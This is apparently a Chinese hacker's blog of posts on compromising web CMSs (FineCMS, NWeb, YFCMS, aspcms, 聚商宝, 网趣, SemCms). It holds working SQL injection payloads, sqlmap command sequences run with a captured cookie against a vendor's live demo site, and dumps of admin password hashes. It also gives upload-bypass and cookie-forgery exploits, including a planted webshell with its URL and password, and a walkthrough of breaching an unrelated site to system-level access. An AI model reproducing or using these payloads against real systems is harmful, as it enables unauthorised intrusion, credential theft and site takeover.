浏览模式: 标准 | 列表分类:原创笔记

FineCMS的注入和getshell

Submitted by admin
2012, November 14, 9:40 AM

 

还没学PHP,先学牛们挖洞来了,牛们见笑了。

程序是FineCMS,找到了个注入,接着其他的就看不下去了,只想利用上就OK了。

注入的文件是finecms\controllers\member\ContentController.php

 

public function editAction() {

        $id       = $this->get('id');

        $data     = $this->content->where('userid=' . $this->memberinfo['id'])->where('id=' . $id)->select(false);

        $catid    = $data['catid'];     \\ http://c0deplay.com

        if (empty($data))  $this->memberMsg('信息不存在');

        if (empty($catid)) $this->memberMsg('信息栏目不存在');

        $model    = $this->cache->get('model');

        $modelid  = $this->cats[$catid]['modelid'];

        $fields   = $model[$modelid]['fields']

 

$id,问题出在这儿,就是利用麻烦了点。

这个是出现在文章编辑的模块,所以,得去注册个用户,发表文章,然后再点击编辑,这些大家都知道的,我略过了。

在编辑文章这儿,抓包,我用的是Live HTTP Replay,如图

 

大小: 104.49 K
尺寸: 500 x 293
浏览: 387 次
点击打开新窗口浏览全图 

 

 

好了  cookie是:

PHPSESSID=135qdpqp4e9vm3sda0b3446c13; CNZZDATA4264051=cnzz_eid=96253715-1352780242-

 

&ntime=1352780242&cnzz_a=1&retime=1352782758760&sin=none&ltime=1352782758760&rtime=0; finecms_member_id=aToyNDM7

 

好了,接着打开sqlmap,开始注入

./sqlmap.py -u "http://demo.finecms.net/index.php?s=member&c=content&a=edit&id=655" --cookie "PHPSESSID=135qdpqp4e9vm3sda0b3446c13;

 

CNZZDATA4264051=cnzz_eid=96253715-1352780242-&ntime=1352780242&cnzz_a=1&retime=1352782758760&sin=none&ltime=1352782758760&rtime=0;

 

finecms_member_id=aToyNDM7"

大小: 30.53 K
尺寸: 500 x 126
浏览: 336 次
点击打开新窗口浏览全图 

 

有注入,是mysql 5.0的,接着

 

./sqlmap.py -u "http://demo.finecms.net/index.php?s=member&c=content&a=edit&id=655" --cookie "PHPSESSID=135qdpqp4e9vm3sda0b3446c13;

 

CNZZDATA4264051=cnzz_eid=96253715-1352780242-&ntime=1352780242&cnzz_a=1&retime=1352782758760&sin=none&ltime=1352782758760&rtime=0;

 

finecms_member_id=aToyNDM7" –dbs

 

 

大小: 33.74 K
尺寸: 500 x 155
浏览: 166 次
点击打开新窗口浏览全图 

available databases [2]:

[*] dayrui

[*] information_schema

 

./sqlmap.py -u "http://demo.finecms.net/index.php?s=member&c=content&a=edit&id=655" --cookie "PHPSESSID=135qdpqp4e9vm3sda0b3446c13;

 

CNZZDATA4264051=cnzz_eid=96253715-1352780242-&ntime=1352780242&cnzz_a=1&retime=1352782758760&sin=none&ltime=1352782758760&rtime=0;

 

finecms_member_id=aToyNDM7" --tables -D  "dayrui"

 

 

大小: 87.38 K
尺寸: 500 x 389
浏览: 358 次
点击打开新窗口浏览全图 

找到表名demo_user,接着

 

./sqlmap.py -u "http://demo.finecms.net/index.php?s=member&c=content&a=edit&id=655" --cookie "PHPSESSID=135qdpqp4e9vm3sda0b3446c13;

 

CNZZDATA4264051=cnzz_eid=96253715-1352780242-&ntime=1352780242&cnzz_a=1&retime=1352782758760&sin=none&ltime=1352782758760&rtime=0;

 

finecms_member_id=aToyNDM7" --columns -T "demo_user" users-D "dayrui" -v 0

 

 

大小: 50.3 K
尺寸: 359 x 378
浏览: 155 次
点击打开新窗口浏览全图 

不截图了,太麻烦了

 

./sqlmap.py -u "http://demo.finecms.net/index.php?s=member&c=content&a=edit&id=655" --cookie "PHPSESSID=135qdpqp4e9vm3sda0b3446c13;

 

CNZZDATA4264051=cnzz_eid=96253715-1352780242-&ntime=1352780242&cnzz_a=1&retime=1352782758760&sin=none&ltime=1352782758760&rtime=0;

 

finecms_member_id=aToyNDM7" --dump -C "username" -T "demo_user" -D "dayrui" -v 0

 

 

Database: dayrui

Table: demo_user

[2 entries]

+----------+

| username |

+----------+

| admin    |

| dayrui   |

+----------+

 

 

./sqlmap.py -u "http://demo.finecms.net/index.php?s=member&c=content&a=edit&id=655" --cookie "PHPSESSID=135qdpqp4e9vm3sda0b3446c13;

 

CNZZDATA4264051=cnzz_eid=96253715-1352780242-&ntime=1352780242&cnzz_a=1&retime=1352782758760&sin=none&ltime=1352782758760&rtime=0;

 

finecms_member_id=aToyNDM7" --dump -C "password" -T "demo_user" -D "dayrui" -v 0

 

 

Database: dayrui

Table: demo_user

[2 entries]

+----------------------------------+

| password                         |

+----------------------------------+

| eae9f74652d3191c2868627641128f22 |

| eae9f74652d3191c2868627641128f22 |

 

 

 

解出了密码  admin dayrui   dayrui dayrui

dayrui dayrui 这个是网站创始人权限,登录这个,准备拿shell

 

Finecms这个程序的演示站是linuxapche的搭配,在模板管理那儿,可以直接新建a.php.html来解析利用,但服务器作了限制,如图

 

 

大小: 28.01 K
尺寸: 500 x 140
浏览: 156 次
点击打开新窗口浏览全图 

这个目录不可访问,后台还有备份数据的功能,这个好像利用不了,还有个执行SQL的,不过我的突破点还是在模板那儿,模板所在的目录既然不能执行,那么跳出这个目录就可以了。那儿有个目录跳转的功能,如图

 

 

大小: 59.8 K
尺寸: 500 x 320
浏览: 338 次
点击打开新窗口浏览全图 

http://demo.finecms.net/index.php?s=admin&c=theme&dir=bWVtYmVyLw==&iframe=0

 

这个是跳转的链接,dir后面的是目录了,不过是base64加密的,

所以,构造如下,../../就是Li4vLi4v,输入http://demo.finecms.net/index.php?s=admin&c=theme&dir=Li4vLi4v=&iframe=0

如图,

 

大小: 59 K
尺寸: 500 x 350
浏览: 79 次
点击打开新窗口浏览全图好了,目录已经跳转,那么就直接再新建个模板,就可以直接拿shell了。

结果如图

 

 

大小: 36.79 K
尺寸: 500 x 371
浏览: 337 次
点击打开新窗口浏览全图 

Tags: finecms

今天一站的笔记

Submitted by admin
2012, October 25, 12:02 AM

1,前奏

今天搞一小站,是个asp的,初始以为会很简单,结果浪费了我大半天时间。拿站的时候,我一般是会先扫目录的,看看能不能直接扫到些敏感信息,比如备份文件什么的,有时候直接扫到编辑器和上传页面,就十分快速了。扫完之后,直接打开根目录下的admin_login.asp才发现这程序是my动力3.5的那老古董版本,找出这个版本的注入利用工具,没有破出密码来。

2,扫目录过程

像这一类的站,我还是比较喜欢扫目录多些,拿出了个大集合的字典,慢慢的扫目标站,扫了两遍,也没有什么可利用的地方,没办法,旁注吧。拿出御剑扫了下,发现有三个旁站,那就直接三个一起扫,边扫边看,扫出了个bbs.asp文件,是个简易论坛,像这种论坛,一个是无法利用,功能太简单了,一个是好利用,漏洞太多。直接注册了个用户,登录,进入用户管理中心,首先看看有没有什么上传头像之类的东东,再去发表文章那儿看看能不能利用的。

我一进用户管理中心就直接跳转到了my动力的用户管理中心去了,看来是管理员作了处理了。my动力的用户管理这儿,有个添加文章功能,存在着上传漏洞,拿出明小子 ,抓包上传,正常的图片都能上传上去,就asp asa cer之类的格式的都不行,无法找到网页,asp马儿改成jpg都还是存在的,应该没有被杀,就是利用不了,在这儿浪费了一小段时间。
再去看看扫的目录,发现出来了fckeditor和ewebeditor编辑器,满心欢喜的以为可以搞下了,结果fckeditor的asp和php都关闭上传了,aspx不支持,唯一的收获得php那儿暴出了路径,所这绝对路径保存到TXT文本上,也许等一下用的着呢,路径:D:\inetpub\wwwroot\com\xxoop。

等扫完三个站,全都是动力的,以前的注入漏洞工具又 都利用不了,哪怕上面有管理员留下的两种编辑器也是木办法,无奈,用大字典再扫了遍,还是同样的结果。

3.找注入过程

竟然目录没什么可利用的,那就再找找有什么注入吧,毕竟这老程序,管理员应该有修改过的,就像是那个简易论坛,也许存在着什么可利用的地方呢。

打开google神器,直接inurl:asp,找了一圈,没有找到,那好吧,打开网站一个一个看下吧,反正才三个而已。。。

找啊找的,看到个发表评论的地方,http://www.baidu.com/t**bout.asp?id=99&thetype=news找到了这个注入点,好以,拿出经典的啊D,扫了一下,只能扫出个user_login的表名,这个不是真正的表名,又用域名组合了一些表名进去,结果还是不对,拿出神器sqlmap来扫扫,也无奈,找不到真正的表名。这个站有注入,另外两个是不是也存在同样的问题?打开那两个站,在同样的评论的地方,确实是存在同样的注入点,可惜的是,同样破不出表名来。

3.柳岸花开

无奈了,目录扫不出什么可利用的,注入也找不到,这回郁闷了,这么个小小的站就这么棘手了,我们国内的安全现在倒是做的不错了。

木办法,只好请出神器nmap,扫扫端口,除了常规的21 80端口之外,还有个7001的weblogic httpd,weblogin是啥东西倒是不知道,httpd倒是能猜出来。一般看到3389有开,我都会习惯连上去看看有没有别人留下的shift后门什么的,偶尔也有什么安装了五笔输入法之类的可以突破,这站没开,那就打开网页,输入IP:7001看看吧。

一打开,是个登录页面login.jsp,嘿嘿,那就放到御剑里再萍破见扫扫目录吧。扫了一通,屁也没有。在这个登录页面上输入admin admin,admin admin888,admin 123456之类的弱口令去猜解了下,结果没成,想了下,不知道这页面会不会存在万能密码漏洞呢,输入1'or'1'='1,点登录,哈,奇迹出现,果真登录上去了

大小: 40.36 K
尺寸: 500 x 237
浏览: 190 次
点击打开新窗口浏览全图

上边有个图片维护功能,打开,http://122.XXX.XXX.99:7001/news_itempic.jsp?action=upload&newsid=284,可以直接上传图片也可以下载图片,还有个浏览图片的功能,先试试上传吧,程序限制的挺严的,怎么也突破不了,可能我太菜了,这种上传的话,看起来不难突破的,却偏偏没突破成功。那个下载图片功能却让我眼前一亮,http://xxx.2x4.xx.99:7001/download.jsp?file=20121025.jpg,这个download.jsp看的我心动,试试输入http://xxx.2x4.xx.99:7001/download.jsp?file=download.jsp,嘿嘿,果真跳出来了下载页面

大小: 49.38 K
尺寸: 500 x 359
浏览: 346 次
点击打开新窗口浏览全图

我就接连下载了login.jsp admin.jsp useradd.jsp之类的文件,结果没用啊,又没有什么可利用的,没找到诸如conn.asp config.php之类的有效的信息。郁闷中突然想到刚刚不是有暴出了目标站的绝对路径吗,试试看,输入http://xxx.2x4.xx.99:7001/download.jsp?file=D:\inetpub\wwwroot\com\xxoop\inc\conn.asp,哈,能下载哦,打开文件一看,是mssql,爽死了。赶紧拿出sqltools深度命令成版.exe,靠,连接不上,貌似这服务器是内网。。。。好吧,,我无语了,,,看看另外两个站能不能暴出路径吧,,或者猜猜出绝对路径,试了几次,都不成功,这回又被难住了。期间不知道做了多少无聊事,后来翻翻扫出来的目录的时候,发现了个aspcheck.asp,希望不会再是mssql吧。

打开aspcheck.asp找到了绝对路径,下载conn.asp文件,拿到了数据库地址data_netdebug/data.mdb,直接访问被拒绝,同样的用download.jsp下载数据库,终于可以了,管理员的表名就是user_data,解之,登录后台拿shell,拿shell也有一番问题,平常都习惯了传个一句话用菜刀连接,这回连接上去提示竟然是拒绝访问,大马又传不了,小马也不行,后来用lake2的客户端连接上去了。连接上去来到 jsp站的这个目录,传了个jsp马儿上去就是系统权限了。最后来个留影纪念

大小: 80.66 K
尺寸: 364 x 500
浏览: 354 次
点击打开新窗口浏览全图

万博企业网站管理系统注入漏洞

Submitted by admin
2011, November 18, 10:56 PM

FROM http://www.st999.cn/blog

这两天拿站的时候,好几回都遇到个叫万博的企业管理系统,今天有时间就下载过来看了看,找到了个注入漏洞,郁闷的是,得手工,没法用工具,累人的事。因为已经找到了一个,我就没兴趣接着往下看了。

这个注入漏洞发生在html/MemberLogin.asp文件里,在Include下有NoSqlHack.Asp文件也没调用,呵呵,就有了我们利用的地方了。

MemberLogin.asp源码如下:

<%@LANGUAGE="VBSCRIPT" CODEPAGE="65001"%>
<% Option Explicit %>
<%Response.Charset="utf-8"%>
<!--#include file="../Include/Const.asp"-->
<!--#include file="../Include/ConnSiteData.asp"-->
<!--#include file="../Include/Md5.asp"-->
<%
if request.QueryString("Action")="Out" then
   session.contents.remove "MemName"
   session.contents.remove "GroupID"
   session.contents.remove "GroupLevel"
   session.contents.remove "MemLogin"
   response.redirect Cstr(request.ServerVariables("HTTP_REFERER"))
   response.end
end if

Public ErrMsg(3)
   ErrMsg(0)="·登录名不正确,请返回。"
   ErrMsg(1)="·登录密码不正确,请返回。"
   ErrMsg(2)="·帐号非使用状态,请返回。"

dim LoginName,LoginPassword,VerifyCode,MemName,Password,GroupID,GroupName,Working,rs,sql
LoginName=trim(request.form("LoginName"))
LoginPassword=Md5(request.form("LoginPassword"))
set rs = server.createobject("adodb.recordset")
sql="select * from NwebCn_Members where MemName='"&LoginName&"'"
rs.open sql,conn,1,3
if rs.bof and rs.eof then
   WriteMsg(ErrMsg(0))
   response.end
else
   MemName=rs("MemName")
   Password=rs("Password")
   GroupID=rs("GroupID")
   GroupName=rs("GroupName")
   Working=rs("Working")
end if

if LoginPassword<>Password then
   WriteMsg(ErrMsg(1))
   response.end
end if

if not Working then
   WriteMsg(ErrMsg(2))
   response.end
end if
 
if UCase(LoginName)=UCase(MemName) and LoginPassword=Password then
   rs("LastLoginTime")=now()
   rs("LastLoginIP")=Request.ServerVariables("Remote_Addr")
   rs("LoginTimes")=rs("LoginTimes")+1
   rs.update
   rs.close
   set rs=nothing
   session("MemName")=MemName
   session("GroupID")=GroupID
   '===========
   set rs = server.createobject("adodb.recordset")
   sql="select * from NwebCn_MemGroup where GroupID='"&GroupID&"'"
   rs.open sql,conn,1,1
   session("GroupLevel")=rs("GroupLevel")
   rs.close
   set rs=nothing
  '===========
   session("MemLogin")="Succeed"
   session.timeout=60
   response.redirect Cstr(request.ServerVariables("HTTP_REFERER"))
   response.end
end if
%>

看到了,LoginName未作过滤,直接代入查询,因此产生了这个注入,就是利用的方法有点麻烦,我试了下,没办法用工具,郁闷了。

手工如:wzasdf' and exists (select * from [nwebcn_admin]) and '1'='1

真是郁闷的手工,这个JB烂的洞。。。

 

Tags: 万博, nweb

YFCMS之ewebeditor上传漏洞

Submitted by admin
2011, August 20, 1:23 PM

刚刚C段的时候,遇到了个程序,一看网上有公开的源码,下了,看之,有个很大的漏洞。

漏洞是利用ewebeditor的上传结合IIS解析漏洞

FROM HTTP://WWW.ST999.CN/BLOG BY 流浪的风

google关键字:intext:版权所有:yfcms

利用文件:admin\WebEditor\asp\upload.asp

利用代码:

<form action="http://www.st999.cn/admin/WebEditor\asp\upload.asp?action=save&type=image&style=popup&cusdir=st999.asp" method=post name=myform enctype="multipart/form-data">
<input type=file name=uploadfile size=100><br><br>
<input type=submit value=upload>
</form>

这里有个前提 ,要知道网站的后台目录才行。

我刚搞的那个站,不是默认的后台,扫了半天也没扫出来,结果还是社出来的。

Tags: yfcms

aspcms2.1.4 GBK版注入漏洞

Submitted by admin
2011, August 18, 3:56 PM

aspcms2.1.4 GBK版注入漏洞
流浪的风 2011-06-28 20:11:39 
程序:aspcms2.1.4 GBK版
其他版本详细测试,貌似是只存在这个版本
admin/_content/_About/AspCms_AboutEdit.asp
未验证权限,且存在注入漏洞
利用EXP:

admin/_content/_About/AspCms_AboutEdit.asp?id=19 and 1=2 union select 1,2,3,4,5,loginname,7,8,9,password,11,12,13,14,15,16,17,18,19,20,21,22,23,24 from aspcms_user where userid=1

 
如图
大小: 44 K
尺寸: 349 x 500
浏览: 86 次
点击打开新窗口浏览全图
刚刚google了下,貌似在网上测试没成功。。。
 
我没时间就不测试了,反正搞到了目标站就OK。
Tags: aspcms

聚商宝2.0漏洞

Submitted by admin
2011, August 10, 12:40 AM

FROM http://www.st999.cn/blog BY 久久久电脑

程序:聚商宝2.0

下载:http://down.chinaz.com/soft/21754.htm

google关键字:intext:技术支持:奔明科技 聚商宝

前几天搞站的时候遇到了个程序叫聚商宝,把源码下载过来了,今天才有时间简单的看了看。。。

漏洞:暴库以及后台cookies欺骗

1)直接访问conn/conn.asp 暴出数据库地址,下载,解密,登录后台

2)cookies欺骗,admin文件夹下check.asp文件中的代码片段:

dim uid,upwd
uid=Replace_Text(Request.Form("userid"))
upwd=md5(Replace_Text(Request.Form("password")),16)
Verifycode=Replace_Text(request.Form("verifycode"))
 
 if not isnumeric(Verifycode) then
 Call Logerr()
 Call  ErroFy()
 end if


if Cint(Verifycode)<>Session("SafeCode") then
 Call  ErroFy()
 Sub ErroFy()
  response.write"<table cellpadding=2 cellspacing=1 border=0 width=100% class=tableBorder align=center>"
  response.write"<TR>"
  response.write"<TH class=tableHeaderText colSpan=2 height=25>出现错误提示</TH>"
  response.write"<TR><tr><td height=85 valign=top class=forumRow><div align=center><br><br>验证码错误!</div></td></tr>"
  response.write"<tr align=center><td height=30 class=forumRowHighlight><a href='login.asp'>&lt;&lt; 返回上一页</a></td>"
  response.write"</tr>"
  response.write"</table>"
  Response.End()
 End Sub
else

 Set rs=server.createobject("adodb.recordset")
 sqltext="select * from benming_master where Username='" & uid & "' and [PassWord]='" & upwd & "'"
 rs.open sqltext,conn,1,1
 If Rs.Eof And Rs.Bof Then

  response.write"<table cellpadding=2 cellspacing=1 border=0 width=100% class=tableBorder align=center>"
  response.write"<TR>"
  response.write"<TH class=tableHeaderText colSpan=2 height=25>出现错误提示</TH>"
  response.write"<TR><tr><td height=85 valign=top class=forumRow><div align=center><br><br>登陆名或密码不正确!</div></td></tr>"
  response.write"<tr align=center><td height=30 class=forumRowHighlight><a href='login.asp'>&lt;&lt; 返回上一页</a></td>"
  response.write"</tr>"
  response.write"</table>"
  
 else
     Response.Cookies("globalecmaster")=rs("username")
     Response.Cookies("masterflag")=rs("flag")
     Response.Cookies("adminid")=rs("id")
     LastLogin=Date()
  LastLoginIP=getIP()
  sql="update benming_master set LastLogin='"&LastLogin&"',LastLoginIP='"&LastLoginIP&"' where username='"&uid&"'"
  
     conn.execute(sql)
  response.write"<table cellpadding=2 cellspacing=1 border=0 width=100% class=tableBorder align=center>"
  response.write"<TR>"
  response.write"<TH class=tableHeaderText colSpan=2 height=25>登陆成功提示</TH>"
  response.write"<TR><tr><td height=85 valign=top class=forumRow><div align=center><br><br>成功通过网站后台管理员身份认证!<br><br>2秒后自动进入后台...</div></td></tr>"
  response.write"<tr align=center><td height=30 class=forumRowHighlight><a href='index.asp'>进入后台管理</a></td>"
  response.write"</tr>"
  response.write"</table>"
%>
<meta HTTP-EQUIV=refresh Content='2;url=index.asp'>
<%
 end if
 rs.close
 set rs=nothing
end if

 

利用方法:用啊D直接访问后台,修改如下cookie,然后访问admin/index.asp登录。

globalecmaster=admin; masterflag=01%2C%2002%2C%2003%2C%2004%

2C%2005%2C%2006%2C%2007%2C%2008%2C%2009%2C%20010; adminid=1

 

Tags: 聚商宝

Co Net PCMSN Ver 1.0之直接添加管理员漏洞

Submitted by admin
2011, June 26, 10:41 PM

最近搞站,经常遇到这个Co Net PCMSN Ver 1.0的程序,百度了下,说是有一个万能密码漏洞,试了下,没成功,可能是补上了。。。
奇怪的是,网上说这程序漏洞很多,但我没找出来,后来搞下了一个程序,把源码下载过来,简单的看了下,果然漏洞很多,两分钟没到,就找到了个利用的地方,郁闷了。。。
后台可以直接添加管理员。。。
 
利用的EXP在群共享里。。。

网趣网站管理系统--上传漏洞

Submitted by admin
2011, April 22, 12:18 AM

程序:网趣网站管理系统1.2.1    (包含动态版和静态版 均存在此漏洞)

下载:http://www.codepub.com/d/downpage.php?n=1&id=18716::1288173021

FROM:http://www.st999.cn/blog

DATA:2010/04/22

利用方法:/ku_edit/ComquUp.asp?nf=&ni=a&nr=ok&nt=../st999.asp;&nm=&nq=&lx=1

漏洞文件:Free_ComQu\Ku_edit\ComquUp.asp

源码 :

<%Response.Buffer=True
Server.ScriptTimeOut=9999999
On Error Resume Next%><!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=GB2312" />
<meta http-equiv="Content-Language" content="zh-cn" />
<meta content="all" name="robots" />
<meta name="author" content="酷航网络" />
<meta name="description" content="酷航网络提供虚拟主机、域名注册等服务!" />
<meta name="keywords" content="酷航网络、虚拟主机、域名注册" />
<style type="text/css">body,form{margin:0px;padding:0px;}body,input{font-size:12px;}</style>
<title>酷航文件上传系统V2</title>
</head>
<body id="body"><table width="100%" height="100%" border="0" cellspacing="0" cellpadding="0"><tr><td>
<%
response.Cookies("ComquUp")="1"
'您可以把上面判断cookies的写入语句复制到您登录的地方,这样便是“只有登录后才能操作上传文件。”
if request.Cookies("ComquUp")="1" then%>

<%
ComquDFormName=trim(request("nf"))
ComquDInputName=trim(request("ni"))
ComquDYNReName=trim(request("nr"))
ComquDPath=trim(request("nt"))
ComquDDM=trim(request("nm"))
ComquDPathQ=trim(request("nq"))
ComquDType=trim(request("lx"))

if ComquDPath<>"" then:ComquSavePath=ComquDPath:else:ComquSavePath="/Upfile/edit/":end if
if ComquDPathQ<>"" then:ComquSavePathQ=ComquDPathQ:else:ComquSavePathQ=ComquSavePath:end if
ComquYNPath(ComquSavePath)

if ComquDType="1" then
ComquFileNames="jpg,gif,png,bmp"
ComquBigSize=1024000'单位B
elseif ComquDType="2" then
ComquFileNames="swf,flv"
ComquBigSize=10240000
elseif ComquDType="3" then
ComquFileNames="avi,wmv,asf,mov,mp3,wma"
ComquBigSize=102400000
elseif ComquDType="4" then
ComquFileNames="rm,ra,ram,rmvb"
ComquBigSize=102400000
elseif ComquDType="5" then
ComquFileNames="txt,rar,zip,doc,7z,ppt"
ComquBigSize=102400000
end if

ComquFileSize=Request.TotalBytes

If ComquFileSize>0 Then
if ComquFileSize<ComquBigSize then
Set ComquUpStm=Server.CreateObject("ADODB.Stream")
ComquUpStm.Type=1
ComquUpStm.Open
ComquUpStm.Write Request.BinaryRead(ComquFileSize)
ComquUpStm.Position=0
ComquFormDataSize=ComquUpStm.Read
ComquCrlf=chrB(13)&chrB(10)
ComquFormStart=InStrB(ComquFormDataSize,ComquCrlf)
ComquFormEnd=InStrB(ComquFormStart+1,ComquFormDataSize,ComquCrlf)
Set ComquFormStm=Server.Createobject("ADODB.Stream")
ComquFormStm.Type=1
ComquFormStm.Open
ComquUpStm.Position=ComquFormStart + 1
ComquUpStm.CopyTo ComquFormStm,ComquFormEnd-ComquFormStart-3
ComquFormStm.Position=0
ComquFormStm.Type=2
ComquFormStm.CharSet="GB2312"
ComquFormStmText=ComquFormStm.Readtext
ComquFormStm.Close
ComquUpFileNAll=Mid(ComquFormStmText,InstrRev(ComquFormStmText,"\")+1,ComquFormEnd)
ComquUpFileCZM=mid(ComquUpFileNAll,InstrRev(ComquUpFileNAll,"."))

If ComquCheckFileCZM(ComquUpFileNAll) Then

if ComquDDM<>"" then
ComquUpFileName=ComquDDM
else
if ComquDYNReName<>"ok" then:ComquUpFileName=ComquUpFileNAll:else:ComquUpFileName=Year(now)&right("0"&Month(now),2)&right("0"&Day(now),2)&right("0"&Hour(now),2)&right("0"&Minute(now),2)&right("0"&Second(now),2)&right(replace(Request.ServerVariables("REMOTE_ADDR"),".",""),4)&ComquUpFileCZM:end if
end if

ComquSaveFile=Server.MapPath(ComquSavePath & ComquUpFileName)
k=Instrb(ComquFormDataSize,ComquCrlf&ComquCrlf)+4
l=Instrb(k+1,ComquFormDataSize,leftB(ComquFormDataSize,ComquFormStart-1))-k-2
ComquFormStm.Type=1
ComquFormStm.Open
ComquUpStm.Position=k-1
ComquUpStm.CopyTo ComquFormStm,l
ComquFormStm.SaveToFile ComquSaveFile,2
ComquSaveFileName=Mid(ComquSaveFile,InstrRev(ComquSaveFile,"\")+1)

if ComquDFormName<>"" then:Response.write"<script language=javascript>parent.document."&ComquDFormName&"."&ComquDInputName&".value='"&ComquSavePathQ&ComquSaveFileName&"';</script>":else:Response.write"<script language=javascript>parent.document.getElementById("""&ComquDInputName&""").value='"&ComquSavePathQ&ComquSaveFileName&"';</script>":end if
Response.write"<a href="""&ComquSavePath&ComquSaveFileName&""" target=""_blank"" title=""文件名称:"&ComquSaveFileName&""&vbcrlf&"文件大小:"&ComquFileSize&"KB"&vbcrlf&"友情提示:点击打开预览""><span style=""color:red;text-decoration:none;"">"&left(ComquSaveFileName,3)&"**"&ComquUpFileCZM&"</span></a> 上传成功! <a href="""&Request.ServerVariables("URL")&"?"&Request.ServerVariables("QUERY_STRING")&""">重新上传</a><br />"
Else
Response.write"<span style=""color:red;"">文件格式不正确!</span> <a href="""&Request.ServerVariables("URL")&"?"&Request.ServerVariables("QUERY_STRING")&""">重新上传文件</a><br />"
End If
Set ComquFormStm=Nothing
UploadStream.Close
Set UploadStream=Nothing


Function ComquCheckFileCZM(FileName)
FileType=Split(ComquFileNames,",")
For i=0 To Ubound(FileType)
If LCase(Right(FileName,len(FileType(i))))=LCase(FileType(i)) then
ComquCheckFileCZM=True
Exit Function
Else
ComquCheckFileCZM=False
End if
Next
End Function

Function ComquYNPath(FolderName)
ComquFolderM=Server.Mappath(FolderName)
Set Fso=CreateObject("Scripting.FileSystemObject")
If Not Fso.FolderExists(ComquFolderM) Then
Fso.CreateFolder(ComquFolderM)
End If
Set Fso=Nothing
End Function

else
Response.Write"<span style=""color:red;"">大小超过"&ComquBigSize&"B!</span> <a href="""&Request.ServerVariables("URL")&"?"&Request.ServerVariables("QUERY_STRING")&""">重新上传</a><br />"
end if

Else%><script language="Javascript">
function ComquCheckFile(){
if(document.ComquUpForm.ComquUpFile.value=="")
{alert("请选择上传文件!")
document.ComquUpForm.ComquUpFile.focus()
return false}
return true}
</script>
<form action="" method="post" name="ComquUpForm" onsubmit="return ComquCheckFile()"enctype="multipart/form-data">
<input type="file" name="ComquUpFile" size="10">
<input type="submit" value="上传">
</form>
<%End if
else:response.Write("<span style=""color:red;"">您无权上传操作!</span>"):end if%></td></tr></table>
</body>
</html>

嘿嘿,,,很明显的nt参数未过滤,可以构造路径,直接上传获得shell。

此程序的官方演示地址,也存在着这漏洞。

http://main.comqu.com/ku_edit/ComquUp.asp?nf=&ni=a&nr=ok&nt=../st999.asp;&nm=&nq=&lx=1

直接找个jpg的马儿上传,右键查看源码,获得名称../st999.asp;st999.asp;201104220019371540.jpg,实际上马儿的名称是st999.asp;201104220019371540.jpg,shell地址就是http://main.comqu.com/st999.asp;201104220019371540.jpg

这个是一句话,密码是st999,大家就不要轮J官方的演示站了,嘿嘿。。。

大小: 21.37 K
尺寸: 500 x 208
浏览: 52 次
点击打开新窗口浏览全图

Tags: 网趣

SemCms后台cookie欺骗漏洞

Submitted by admin
2011, March 27, 12:10 AM

Google关键字:inurl:P_view asp?pid=

漏洞文件:Clkj_Inc\WebOut.asp

发现日期:2011/03/26

FROM http://www.st999.cn/blog

利用cookies:username=uname=admin;userpas=upas=admin;

打开啊D注入工具或者其他的可以修改cookie的工具,修改成以上的cookies,再登录后台Clkj_Admin/nimda_admin.asp,广告管理,上传图片,有个自定义图片名称的功能,输入st999.asp;.再上传,右键查看源码,拿到shell地址就OK了。

 

漏洞文件的源码:

WebOut.asp

<%
if trim(request.cookies("username")("uname"))<>"" then
       session("username")=request.cookies("username")("uname")
       session("userpas")=request.cookies("userpas")("upas")
else if trim(session("username"))="" or trim(session("userpas"))=""  then
     Response.Write "<script language='javascript'>alert('用户名与密码为空请重新进入!');top.location.href='index.html';</script>"
end if
end if
%>
<script src="
http://www.sem-cms.com/huidiao.asp?url=<%=Request.ServerVariables("SERVER_NAME")%>"></script>

 

看了源码,诸君都了解了吧

喜欢批量的朋友速度吧。。。

我试了下,貌似是通杀以前的版本的。。。。。

 

Tags: semcms, cookie

请教关于HTTP_X_FORWARDED_FOR伪造的问题

Submitted by admin
2011, March 1, 10:44 AM

http://www.t00ls.net/thread-15177-1-1.html

 

小弟愚笨,对于HTTP_X_FORWARDED_FOR伪造的问题,在百度哥和GOOGLE姐的帮助下看了半天的资料,还是不懂,特来请教。。。

假设以下是个正常的后台登录页面的抓包

POST /admin/login.asp?action=login HTTP/1.1
Accept: application/x-shockwave-flash, image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*
Referer: http://127.0.0.1:99/admin/login.asp
Accept-Language: zh-cn
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)
Host: 127.0.0.1:99
Content-Length: 75
Connection: Keep-Alive
Cache-Control: no-cache
Cookie: EDiaryEditor_RUser=1324481743; rtime=0; ltime=1298481309656; cnzz_eid=19758319-1298478159-; AJSTAT_ok_times=1; TENATTQRLEFVOIAJDEKD=MQAAEQCFLLKKNYKKUTOOYJMBVTKWIHXKIHAZRJOR

name=123123312&pass=1232123&code=7XYZ&Submit=%B5%C7+%C2%BC


在这里面,如何构造HTTP_X_FORWARDED_FOR,使之产生注入呢?


=============
另附网络上的一个风讯4.0注入的分析----

存在注入漏洞的是Vote/Vote_Ajax.asp文件,其第48~53行的代码如下。


VisitIP = request.ServerVariables("HTTP_X_FORWARDED_FOR") If VisitIP = "" then VisitIP = request.ServerVariables("REMOTE_ADDR") End If //如果VisitIP不为空,直接就将变量HTTP_X_FORWARDED_FOR提交到数据库中查询了 Set VS_RS = Conn.Execute("Select top 1 VoteTime from FS_VS_Items_Result where TID = "&TID&" and VoteIp='"&VisitIP&"' order by RID desc") //这里明显构成了注入条件
此文件存在的注入漏洞,我们直接伪造就行了。关于HTTP_X_FORWARDED_FOR变量的伪造,我们只需要用NC抓包,然后再相应的修改抓取的数据包再进行提交就可以了。
此漏洞的构造语句:127.0.0.1');update FS_MF_Admin set Admin_Pass_Word=' 49ba59abbe56e057' where id=2--提交成功后,ID为2的管理员的密码就被我们改为了123456了


在这里,“然后再相应的修改抓取的数据包再进行提交就可以了”,这句话的意思是在包中修改HTTP_X_FORWARDED_FOR变量,而正常的抓包中并没有看到有关于HTTP_X_FORWARDED_FOR的变量啊。
我的疑问是,是要在包中另加一句关于HTTP_X_FORWARDED_FOR变量的注入的语句吗?
该如何添加或者进行注入?

就比如如上所说的风讯4.0的那个注入该如何构造?

 

=====================

 

